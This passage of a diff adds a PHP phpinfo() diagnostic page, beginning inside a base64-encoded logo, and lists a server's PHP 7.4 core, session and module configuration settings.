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" alt="Zend logo" /></a>
+This program makes use of the Zend Scripting Language Engine:<br />Zend&nbsp;Engine&nbsp;v3.4.0,&nbsp;Copyright&nbsp;(c)&nbsp;Zend&nbsp;Technologies<br />&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;Zend&nbsp;OPcache&nbsp;v7.4.3-4ubuntu2.20,&nbsp;Copyright&nbsp;(c),&nbsp;by&nbsp;Zend&nbsp;Technologies<br /></td></tr>
+</table>
+<hr />
+<h1>Configuration</h1>
+<h2><a name="module_calendar">calendar</a></h2>
+<table>
+<tr><td class="e">Calendar support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_cgi-fcgi">cgi-fcgi</a></h2>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">cgi.check_shebang_line</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">cgi.discard_path</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">cgi.fix_pathinfo</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">cgi.force_redirect</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">cgi.nph</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">cgi.redirect_status_env</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">cgi.rfc2616_headers</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">fastcgi.logging</td><td class="v">1</td><td class="v">1</td></tr>
+</table>
+<h2><a name="module_core">Core</a></h2>
+<table>
+<tr><td class="e">PHP Version </td><td class="v">7.4.3-4ubuntu2.20 </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">allow_url_fopen</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">allow_url_include</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">arg_separator.input</td><td class="v">&amp;</td><td class="v">&amp;</td></tr>
+<tr><td class="e">arg_separator.output</td><td class="v">&amp;</td><td class="v">&amp;</td></tr>
+<tr><td class="e">auto_append_file</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">auto_globals_jit</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">auto_prepend_file</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">browscap</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">default_charset</td><td class="v">UTF-8</td><td class="v">UTF-8</td></tr>
+<tr><td class="e">default_mimetype</td><td class="v">text/html</td><td class="v">text/html</td></tr>
+<tr><td class="e">disable_classes</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">disable_functions</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,</td></tr>
+<tr><td class="e">display_errors</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">display_startup_errors</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">doc_root</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">docref_ext</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">docref_root</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">enable_dl</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">enable_post_data_reading</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">error_append_string</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">error_log</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">error_prepend_string</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">error_reporting</td><td class="v">22527</td><td class="v">22527</td></tr>
+<tr><td class="e">expose_php</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">extension_dir</td><td class="v">/usr/lib/php/20190902</td><td class="v">/usr/lib/php/20190902</td></tr>
+<tr><td class="e">file_uploads</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">hard_timeout</td><td class="v">2</td><td class="v">2</td></tr>
+<tr><td class="e">highlight.comment</td><td class="v"><font style="color: #FF8000">#FF8000</font></td><td class="v"><font style="color: #FF8000">#FF8000</font></td></tr>
+<tr><td class="e">highlight.default</td><td class="v"><font style="color: #0000BB">#0000BB</font></td><td class="v"><font style="color: #0000BB">#0000BB</font></td></tr>
+<tr><td class="e">highlight.html</td><td class="v"><font style="color: #000000">#000000</font></td><td class="v"><font style="color: #000000">#000000</font></td></tr>
+<tr><td class="e">highlight.keyword</td><td class="v"><font style="color: #007700">#007700</font></td><td class="v"><font style="color: #007700">#007700</font></td></tr>
+<tr><td class="e">highlight.string</td><td class="v"><font style="color: #DD0000">#DD0000</font></td><td class="v"><font style="color: #DD0000">#DD0000</font></td></tr>
+<tr><td class="e">html_errors</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">ignore_repeated_errors</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">ignore_repeated_source</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">ignore_user_abort</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">implicit_flush</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">include_path</td><td class="v">.:/usr/share/php</td><td class="v">.:/usr/share/php</td></tr>
+<tr><td class="e">input_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">internal_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">log_errors</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">log_errors_max_len</td><td class="v">1024</td><td class="v">1024</td></tr>
+<tr><td class="e">mail.add_x_header</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">mail.force_extra_parameters</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">mail.log</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">max_execution_time</td><td class="v">30</td><td class="v">30</td></tr>
+<tr><td class="e">max_file_uploads</td><td class="v">20</td><td class="v">20</td></tr>
+<tr><td class="e">max_input_nesting_level</td><td class="v">64</td><td class="v">64</td></tr>
+<tr><td class="e">max_input_time</td><td class="v">60</td><td class="v">60</td></tr>
+<tr><td class="e">max_input_vars</td><td class="v">1000</td><td class="v">1000</td></tr>
+<tr><td class="e">max_multipart_body_parts</td><td class="v">-1</td><td class="v">-1</td></tr>
+<tr><td class="e">memory_limit</td><td class="v">128M</td><td class="v">128M</td></tr>
+<tr><td class="e">open_basedir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">output_buffering</td><td class="v">4096</td><td class="v">4096</td></tr>
+<tr><td class="e">output_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">output_handler</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">post_max_size</td><td class="v">8M</td><td class="v">8M</td></tr>
+<tr><td class="e">precision</td><td class="v">14</td><td class="v">14</td></tr>
+<tr><td class="e">realpath_cache_size</td><td class="v">4096K</td><td class="v">4096K</td></tr>
+<tr><td class="e">realpath_cache_ttl</td><td class="v">120</td><td class="v">120</td></tr>
+<tr><td class="e">register_argc_argv</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">report_memleaks</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">report_zend_debug</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">request_order</td><td class="v">GP</td><td class="v">GP</td></tr>
+<tr><td class="e">sendmail_from</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">sendmail_path</td><td class="v">/usr/sbin/sendmail&nbsp;-t&nbsp;-i&nbsp;</td><td class="v">/usr/sbin/sendmail&nbsp;-t&nbsp;-i&nbsp;</td></tr>
+<tr><td class="e">serialize_precision</td><td class="v">-1</td><td class="v">-1</td></tr>
+<tr><td class="e">short_open_tag</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">SMTP</td><td class="v">localhost</td><td class="v">localhost</td></tr>
+<tr><td class="e">smtp_port</td><td class="v">25</td><td class="v">25</td></tr>
+<tr><td class="e">sys_temp_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">syslog.facility</td><td class="v">LOG_USER</td><td class="v">LOG_USER</td></tr>
+<tr><td class="e">syslog.filter</td><td class="v">no-ctrl</td><td class="v">no-ctrl</td></tr>
+<tr><td class="e">syslog.ident</td><td class="v">php</td><td class="v">php</td></tr>
+<tr><td class="e">track_errors</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">unserialize_callback_func</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">upload_max_filesize</td><td class="v">2M</td><td class="v">2M</td></tr>
+<tr><td class="e">upload_tmp_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">user_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">user_ini.cache_ttl</td><td class="v">300</td><td class="v">300</td></tr>
+<tr><td class="e">user_ini.filename</td><td class="v">.user.ini</td><td class="v">.user.ini</td></tr>
+<tr><td class="e">variables_order</td><td class="v">GPCS</td><td class="v">GPCS</td></tr>
+<tr><td class="e">xmlrpc_error_number</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">xmlrpc_errors</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">zend.assertions</td><td class="v">-1</td><td class="v">-1</td></tr>
+<tr><td class="e">zend.detect_unicode</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">zend.enable_gc</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">zend.exception_ignore_args</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">zend.multibyte</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">zend.script_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">zend.signal_check</td><td class="v">Off</td><td class="v">Off</td></tr>
+</table>
+<h2><a name="module_ctype">ctype</a></h2>
+<table>
+<tr><td class="e">ctype functions </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_date">date</a></h2>
+<table>
+<tr><td class="e">date/time support </td><td class="v">enabled </td></tr>
+<tr><td class="e">timelib version </td><td class="v">2018.03 </td></tr>
+<tr><td class="e">&quot;Olson&quot; Timezone Database Version </td><td class="v">0.system </td></tr>
+<tr><td class="e">Timezone Database </td><td class="v">internal </td></tr>
+<tr><td class="e">Default timezone </td><td class="v">UTC </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">date.default_latitude</td><td class="v">31.7667</td><td class="v">31.7667</td></tr>
+<tr><td class="e">date.default_longitude</td><td class="v">35.2333</td><td class="v">35.2333</td></tr>
+<tr><td class="e">date.sunrise_zenith</td><td class="v">90.583333</td><td class="v">90.583333</td></tr>
+<tr><td class="e">date.sunset_zenith</td><td class="v">90.583333</td><td class="v">90.583333</td></tr>
+<tr><td class="e">date.timezone</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_dom">dom</a></h2>
+<table>
+<tr><td class="e">DOM/XML </td><td class="v">enabled </td></tr>
+<tr><td class="e">DOM/XML API Version </td><td class="v">20031129 </td></tr>
+<tr><td class="e">libxml Version </td><td class="v">2.9.10 </td></tr>
+<tr><td class="e">HTML Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">XPath Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">XPointer Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Schema Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">RelaxNG Support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_exif">exif</a></h2>
+<table>
+<tr><td class="e">EXIF Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Supported EXIF Version </td><td class="v">0220 </td></tr>
+<tr><td class="e">Supported filetypes </td><td class="v">JPEG, TIFF </td></tr>
+<tr><td class="e">Multibyte decoding support using mbstring </td><td class="v">disabled </td></tr>
+<tr><td class="e">Extended EXIF tag formats </td><td class="v">Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">exif.decode_jis_intel</td><td class="v">JIS</td><td class="v">JIS</td></tr>
+<tr><td class="e">exif.decode_jis_motorola</td><td class="v">JIS</td><td class="v">JIS</td></tr>
+<tr><td class="e">exif.decode_unicode_intel</td><td class="v">UCS-2LE</td><td class="v">UCS-2LE</td></tr>
+<tr><td class="e">exif.decode_unicode_motorola</td><td class="v">UCS-2BE</td><td class="v">UCS-2BE</td></tr>
+<tr><td class="e">exif.encode_jis</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">exif.encode_unicode</td><td class="v">ISO-8859-15</td><td class="v">ISO-8859-15</td></tr>
+</table>
+<h2><a name="module_ffi">FFI</a></h2>
+<table>
+<tr class="h"><th>FFI support</th><th>enabled</th></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">ffi.enable</td><td class="v">preload</td><td class="v">preload</td></tr>
+<tr><td class="e">ffi.preload</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_fileinfo">fileinfo</a></h2>
+<table>
+<tr><td class="e">fileinfo support </td><td class="v">enabled </td></tr>
+<tr><td class="e">libmagic </td><td class="v">537 </td></tr>
+</table>
+<h2><a name="module_filter">filter</a></h2>
+<table>
+<tr><td class="e">Input Validation and Filtering </td><td class="v">enabled </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">filter.default</td><td class="v">unsafe_raw</td><td class="v">unsafe_raw</td></tr>
+<tr><td class="e">filter.default_flags</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_ftp">ftp</a></h2>
+<table>
+<tr><td class="e">FTP support </td><td class="v">enabled </td></tr>
+<tr><td class="e">FTPS support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_gettext">gettext</a></h2>
+<table>
+<tr><td class="e">GetText Support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_hash">hash</a></h2>
+<table>
+<tr><td class="e">hash support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Hashing Engines </td><td class="v">md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5  </td></tr>
+</table>
+<table>
+<tr><td class="e">MHASH support </td><td class="v">Enabled </td></tr>
+<tr><td class="e">MHASH API Version </td><td class="v">Emulated Support </td></tr>
+</table>
+<h2><a name="module_iconv">iconv</a></h2>
+<table>
+<tr><td class="e">iconv support </td><td class="v">enabled </td></tr>
+<tr><td class="e">iconv implementation </td><td class="v">glibc </td></tr>
+<tr><td class="e">iconv library version </td><td class="v">2.31 </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">iconv.input_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">iconv.internal_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">iconv.output_encoding</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_json">json</a></h2>
+<table>
+<tr><td class="e">json support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_libxml">libxml</a></h2>
+<table>
+<tr><td class="e">libXML support </td><td class="v">active </td></tr>
+<tr><td class="e">libXML Compiled Version </td><td class="v">2.9.10 </td></tr>
+<tr><td class="e">libXML Loaded Version </td><td class="v">20910 </td></tr>
+<tr><td class="e">libXML streams </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_openssl">openssl</a></h2>
+<table>
+<tr><td class="e">OpenSSL support </td><td class="v">enabled </td></tr>
+<tr><td class="e">OpenSSL Library Version </td><td class="v">OpenSSL 1.1.1f  31 Mar 2020 </td></tr>
+<tr><td class="e">OpenSSL Header Version </td><td class="v">OpenSSL 1.1.1f  31 Mar 2020 </td></tr>
+<tr><td class="e">Openssl default config </td><td class="v">/usr/lib/ssl/openssl.cnf </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">openssl.cafile</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">openssl.capath</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+</table>
+<h2><a name="module_pcntl">pcntl</a></h2>
+<table>
+<tr class="h"><th>pcntl support</th><th>enabled</th></tr>
+</table>
+<h2><a name="module_pcre">pcre</a></h2>
+<table>
+<tr><td class="e">PCRE (Perl Compatible Regular Expressions) Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">PCRE Library Version </td><td class="v">10.34 2019-11-21 </td></tr>
+<tr><td class="e">PCRE Unicode Version </td><td class="v">12.1.0 </td></tr>
+<tr><td class="e">PCRE JIT Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">PCRE JIT Target </td><td class="v">x86 64bit (little endian + unaligned) </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">pcre.backtrack_limit</td><td class="v">1000000</td><td class="v">1000000</td></tr>
+<tr><td class="e">pcre.jit</td><td class="v">1</td><td class="v">1</td></tr>
+<tr><td class="e">pcre.recursion_limit</td><td class="v">100000</td><td class="v">100000</td></tr>
+</table>
+<h2><a name="module_pdo">PDO</a></h2>
+<table>
+<tr class="h"><th>PDO support</th><th>enabled</th></tr>
+<tr><td class="e">PDO drivers </td><td class="v"><i>no value</i> </td></tr>
+</table>
+<h2><a name="module_phar">Phar</a></h2>
+<table>
+<tr class="h"><th>Phar: PHP Archive support</th><th>enabled</th></tr>
+<tr><td class="e">Phar API version </td><td class="v">1.1.1 </td></tr>
+<tr><td class="e">Phar-based phar archives </td><td class="v">enabled </td></tr>
+<tr><td class="e">Tar-based phar archives </td><td class="v">enabled </td></tr>
+<tr><td class="e">ZIP-based phar archives </td><td class="v">enabled </td></tr>
+<tr><td class="e">gzip compression </td><td class="v">enabled </td></tr>
+<tr><td class="e">bzip2 compression </td><td class="v">disabled (install ext/bz2) </td></tr>
+<tr><td class="e">Native OpenSSL support </td><td class="v">enabled </td></tr>
+</table>
+<table>
+<tr class="v"><td>
+Phar based on pear/PHP_Archive, original concept by Davey Shafik.<br />Phar fully realized by Gregory Beaver and Marcus Boerger.<br />Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.</td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">phar.cache_list</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">phar.readonly</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">phar.require_hash</td><td class="v">On</td><td class="v">On</td></tr>
+</table>
+<h2><a name="module_posix">posix</a></h2>
+<table>
+<tr><td class="e">POSIX support </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_readline">readline</a></h2>
+<table>
+<tr class="h"><th>Readline Support</th><th>enabled</th></tr>
+<tr><td class="e">Readline library </td><td class="v">EditLine wrapper </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">cli.pager</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">cli.prompt</td><td class="v">\b&nbsp;\&gt;&nbsp;</td><td class="v">\b&nbsp;\&gt;&nbsp;</td></tr>
+</table>
+<h2><a name="module_reflection">Reflection</a></h2>
+<table>
+<tr><td class="e">Reflection </td><td class="v">enabled </td></tr>
+</table>
+<h2><a name="module_session">session</a></h2>
+<table>
+<tr><td class="e">Session Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">Registered save handlers </td><td class="v">files user  </td></tr>
+<tr><td class="e">Registered serializer handlers </td><td class="v">php_serialize php php_binary  </td></tr>
+</table>
+<table>
+<tr class="h"><th>Directive</th><th>Local Value</th><th>Master Value</th></tr>
+<tr><td class="e">session.auto_start</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">session.cache_expire</td><td class="v">180</td><td class="v">180</td></tr>
+<tr><td class="e">session.cache_limiter</td><td class="v">nocache</td><td class="v">nocache</td></tr>
+<tr><td class="e">session.cookie_domain</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.cookie_httponly</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.cookie_lifetime</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">session.cookie_path</td><td class="v">/</td><td class="v">/</td></tr>
+<tr><td class="e">session.cookie_samesite</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.cookie_secure</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">session.gc_divisor</td><td class="v">1000</td><td class="v">1000</td></tr>
+<tr><td class="e">session.gc_maxlifetime</td><td class="v">1440</td><td class="v">1440</td></tr>
+<tr><td class="e">session.gc_probability</td><td class="v">0</td><td class="v">0</td></tr>
+<tr><td class="e">session.lazy_write</td><td class="v">On</td><td class="v">On</td></tr>
+<tr><td class="e">session.name</td><td class="v">PHPSESSID</td><td class="v">PHPSESSID</td></tr>
+<tr><td class="e">session.referer_check</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
+<tr><td class="e">session.save_handler</td><td class="v">files</td><td class="v">files</td></tr>
+<tr><td class="e">session.save_path</td><td class="v">/var/lib/php/sessions</td><td class="v">/var/lib/php/sessions</td></tr>
+<tr><td class="e">session.serialize_handler</td><td class="v">php</td><td class="v">php</td></tr>
+<tr><td class="e">session.sid_bits_per_character</td><td class="v">5</td><td class="v">5</td></tr>
+<tr><td class="e">session.sid_length</td><td class="v">26</td><td class="v">26</td></tr>
